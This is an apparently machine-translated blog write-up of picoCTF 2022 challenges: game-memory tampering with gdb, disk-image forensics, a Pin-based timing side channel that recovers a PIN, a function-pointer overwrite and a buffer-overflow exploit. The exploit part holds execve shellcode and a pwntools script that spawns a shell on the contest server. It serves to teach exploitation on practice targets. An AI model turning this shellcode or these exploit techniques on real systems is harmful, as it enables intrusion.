All Articles

PicoCTF 2022 Writeup

This page has been machine-translated from the original page.

I participated in picoCTF2022.

This time I tried some Forensic and Pwn challenges in addition to my usual Rev.

I cleared all of the Rev and Forensic challenges, but unfortunately I still had two Pwn problems left unsolved.

Even so, I picked up around three new techniques, so it was very worthwhile.

In this article, I’ll briefly write up the problems where I personally learned something.

Table of Contents

Rev

To be honest, the Rev challenges were fairly easy overall, so there is not much to write about. But the last one was an unusual type of problem and pretty interesting, so I wanted to summarize it.

Wizardlike(Rev)

The problem statement looked like this.

Description

Do you seek your destiny in these deplorable dungeons? If so, you may want to look elsewhere. Many have gone before you and honestly, they’ve cleared out the place of all monsters, ne’erdowells, bandits and every other sort of evil foe. The dungeons themselves have seen better days too. There’s a lot of missing floors and key passages blocked off. You’d have to be a real wizard to make any progress in this sorry excuse for a dungeon!Download the game.’w’, ’a’, ’s’, ’d’ moves your character and ’Q’ quits. You’ll need to improvise some wizardly abilities to find the flag in this dungeon crawl. ’.’ is floor, ’#’ are walls, ’<’ are stairs up to previous level, and ’>’ are stairs down to next level.

You are given a game binary that feels like a console version of The Tower of Druaga.

The challenge is to climb the tower and uncover the flag, but unfortunately the map is structured so that you cannot climb it by playing normally.

Because of that, the intended solution was probably to identify the memory addresses storing the floor and coordinates, then tamper with them arbitrarily to warp around the map while exploring.

The memory addresses for the floor and coordinates themselves can be obtained easily by decompiling the binary with Ghidra or a similar tool.

To modify memory addresses during gameplay, I used gdb remote debugging.

# gdbserverを使用してゲームを起動
gdbserver localhost:1234 game-p

# 別のコンソールからgdbを起動して接続
gdb
target remote localhost:1234

With this, you can solve the challenge while moving between floors and around the map.

Unfortunately, choosing the coordinates for each map move involved a lot of guesswork and was pretty tedious.

So in the end, I identified the map information for each floor in the data section with Ghidra, then recovered all of the maps at once using the following script, which I reversed from the program used to update the game’s map. That let me get the flag.

from pprint import pprint

table = [
    [" " for i in range(100)] for j in range(100)
]

data = <MapData>

for i in range(len(data)):
    print(chr(data[i]), end="")
    if i % 100 == 0:
        print("")

Forensic

I learned several new techniques in the Forensic challenges, so I am recording them here.

Operation Orchid(Forensic)

Description

Download this disk image and find the flag.Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

There was also a similar challenge called “Operation Oni”, but this one was about finding the information you need inside an image file.

The basic flow was to identify a mountable section inside the image file, mount it locally, and then explore the directories.

First, use the fdisk -lu command to inspect the image file.

$ fdisk -lu disk.img
Disk disk.img: 400 MiB, 419430400 bytes, 819200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb11a86e3
Device     Boot  Start    End Sectors  Size Id Type
disk.img1  *      2048 206847  204800  100M 83 Linux
disk.img2       206848 411647  204800  100M 82 Linux swap / Solaris
disk.img3       411648 819199  407552  199M 83 Linux

Here, I wanted to mount disk.img3, so I used the mount command with an offset equal to the start sector number 411648 multiplied by the sector size 512.

sudo mount -o loop,offset=210763776 disk.img ./mnt
sudo chown ubuntu:ubuntu ./* -R

Changing the owner as well makes exploration easier.

When I explored the mounted directory, I found the following command history in .bash_history.

nano flag.txt 
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al

In other words, if you restore the file encrypted with aes256 using unbreakablepassword1234567, you can get the flag.

So I decrypted it with the following command.

openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567

That gives you the flag.

SideChannel(SideChannel)

Description

There’s something fishy about this PIN-code checker, can you figure out the PIN and get the flag?Download the PIN checker program here pin_checkerOnce you’ve figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 50562 and provide it the PIN to get your flag.

I understood how to approach this one, but actually getting the flag was very difficult. Still, it was an extremely interesting problem.

First, download PinTool from Pin - A Binary Instrumentation Tool - Downloads.

When you extract the downloaded file, you get a directory like this.

$ ls -l
total 388
-rw-r--r-- 1 ubuntu ubuntu  63816 Feb 16 02:04 README
drwxr-x--- 3 ubuntu ubuntu   4096 Feb 16 02:14 doc
drwxr-x--- 9 ubuntu ubuntu   4096 Feb 16 02:14 extras
drwxr-x--- 6 ubuntu ubuntu   4096 Feb 16 02:12 ia32
drwxr-x--- 6 ubuntu ubuntu   4096 Feb 16 02:14 intel64
drwxr-xr-x 2 ubuntu ubuntu   4096 Feb 16 02:14 licensing
-rwxr-xr-x 1 ubuntu ubuntu 292996 Feb 16 02:09 pin
-rwxr-x--- 1 ubuntu ubuntu   8418 Feb 16 02:15 pin.sig
drwxr-x--- 5 ubuntu ubuntu   4096 Feb 16 02:14 source

From there, you need to build PinTool, and since the challenge binary is a 32-bit ELF binary, you need to build the ia32 tools.

So first, install the packages required for the build.

sudo apt-get install libc6-dev-i386
sudo apt-get install gcc-multilib g++-multilib

Next, move to source/tools/SimpleExamples and build the tool.

cd source/tools/SimpleExamples$
make all TARGET=ia32

Note that you need to specify TARGET=ia32.

If the build succeeds, ~/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.so should be generated.

Then you can use it to identify the PIN one digit at a time with a side-channel attack.

Below is the solver I used.

import subprocess
cmd = "/home/ubuntu/pintools/pin -t /home/ubuntu/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.so -- ./pin_checker".split(" ")
ans = []
for i in range(10):
    t = "" + str(i) + "0"*7
    print(t)
    cp = subprocess.run(cmd, input=t.encode())
    
# 48390513

The code above changes the first digit and checks the result.

If you look at each PIN input and the pintool count results from running it, you can see that the value becomes extremely large when the first digit is 4.

00000000
Count[0] = 53421446

10000000
Count[0] = 60610315

20000000
Count[0] = 66361386

30000000
Count[0] = 66840760

40000000
Count[0] = 314657590

50000000
Count[0] = 61089559

60000000
Count[0] = 61568816

70000000
Count[0] = 62527330

80000000
Count[0] = 61089676

90000000
Count[0] = 62048086

After that, you can identify the correct PIN by repeating the same process for all eight digits.

Pwn

function overwrite(Pwn)

Description

Story telling class 2/2

This hardly counts as a description, but the challenge provided the following code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

void easy_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 1337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 1337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void hard_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 13371337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 13371337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}
 
int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

When you run it normally, vuln calls the function check.

As shown by void (*check)(char*, size_t) = hard_checker;, this check variable stores a pointer to the hard_checker function.

At a high level, the route to the flag was to rewrite this function address to the address of easy_checker, then find an input that satisfies calculate_story_score(story, len) == 1337.

Here, instead of overwriting the function address directly, I abused the following code to perform a relative address overwrite.

if (num1 < 10)
{
    fun[num1] += num2;
}

Specifically, by making the second input -16 -314, you can subtract 314 from the value at the address located 16 bytes before the start of the fun array.

As a result, the value of check, which originally stored the address of the hard_checker function, is overwritten with hard_checker’s address minus 314, causing it to point to the address of easy_checker.

Then I searched for an input of at most 127 characters whose calculation result below becomes 1337. The first input turned out to be aaaaaaaaaaaaaL, which let me get the flag.

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

ropfu(Pwn)

Description

What’s ROP?

It was an introductory ROP problem.

For starters, running objdump shows that the stack region has execute permission.

$ objdump -x vuln
vuln:     file format elf32-i386
vuln
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08049c20

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000001e8 memsz 0x000001e8 flags r--
    LOAD off    0x00001000 vaddr 0x08049000 paddr 0x08049000 align 2**12
         filesz 0x0006a960 memsz 0x0006a960 flags r-x
    LOAD off    0x0006c000 vaddr 0x080b4000 paddr 0x080b4000 align 2**12
         filesz 0x0002e42d memsz 0x0002e42d flags r--
    LOAD off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**12
         filesz 0x00002c18 memsz 0x00003950 flags rw-
    NOTE off    0x00000134 vaddr 0x08048134 paddr 0x08048134 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
     TLS off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**2
         filesz 0x00000010 memsz 0x00000030 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rwx
   RELRO off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**0
         filesz 0x00001960 memsz 0x00001960 flags r--

The stack region that could be overwritten via the buffer overflow was 28 bytes, so I wrote shellcode that would spawn a shell within that space.

The shellcode could be written in the following assembly.

; binsh2.s
BITS 32
global _start
 
_start:
    mov eax, 11
    jmp buf
setebx:
    pop ebx
    xor ecx, ecx
    xor edx, edx
    int 0x80
buf:
    call setebx
    db '/bin/sh', 0

This calls execve on x86.

See the following for more details.

Reference: Writing shellcode for Linux x86 - Momoiro Technology

Reference: What Is Shellcode? | Tech Book Zone Manatee

After embedding this shellcode on the stack, I thought it would be enough to place a ret rsp gadget in the return address, but I could not find such a gadget.

So instead, I searched for a jmp eax gadget and used that address, which let me get the flag.

The final solver is below.

from pwn import *
import binascii
import time

elf = ELF("./vuln")
context.binary = elf

with open("shellcode", "rb") as f:
    payload = f.read()

print(len(payload))
payload += b"\x90"*(28-len(payload))
ret = p32(0x0805334b) # jmp eax
payload += ret

with open("shellcode", "wb") as f:
    f.write(payload)

# Local
p = process("./vuln")

# Remote
p = remote("saturn.picoctf.net", 59222)

r = p.recvline()
p.sendline(payload)
p.interactive()

Summary

That was a rough writeup.

I could not clear all of the Pwn challenges, so I need more practice.